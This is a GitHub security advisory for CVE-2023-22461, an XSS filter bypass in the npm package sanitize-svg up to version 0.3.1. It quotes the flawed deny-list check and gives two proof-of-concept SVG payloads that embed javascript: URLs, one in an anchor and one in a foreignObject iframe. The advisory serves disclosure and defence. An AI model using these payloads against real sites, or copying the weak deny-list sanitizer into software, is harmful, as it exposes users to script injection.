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Filter Bypass Allows Cross-Site Scripting (XSS)

High
mattkrick published GHSA-h857-2g56-468g Jan 4, 2023

Package

npm sanitize-svg (npm)

Affected versions

<= 0.3.1

Patched versions

0.4

Description

Impact

The sanitize-svg package uses a deny-list-pattern to sanitize SVGs to prevent XSS. In doing so, literal <script>-tags and on-event handlers were detected:

[...]
  const svgEl = div.firstElementChild!
  const attributes = Array.from(svgEl.attributes).map(({ name }) => name)
  const hasScriptAttr = !!attributes.find((attr) => attr.startsWith('on'))
  const scripts = svgEl.getElementsByTagName('script')
  return scripts.length === 0 && !hasScriptAttr ? svg : null
[...]

There are more ways to embed JavaScript in XML files.

Anchor Tag (requires user to click link):

<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
  <a href="javascript:alert(document.domain)">
    <text x="50" y="50" text-anchor="middle">Lauritz</text>
  </a>
</svg>

Foreign Object Tag (no user interaction required):

<svg width="500" height="500" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
        <text x="20" y="35">Lauritz</text>
        <foreignObject width="500" height="500">
                <iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:confirm(document.domain);" width="400" height="250"/>
        </foreignObject>
</svg>

As a result, downstream software that relies on sanitize-svg and expects resulting SVGs to be safe, may be vulnerable to XSS. We are aware of at least one downstream project for which this vulnerability had security implications.

Patches

This vulnerability was addressed in v0.4.0.

Workarounds

N/A

Severity

High
7.6
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

CVE ID

CVE-2023-22461

Weaknesses

Credits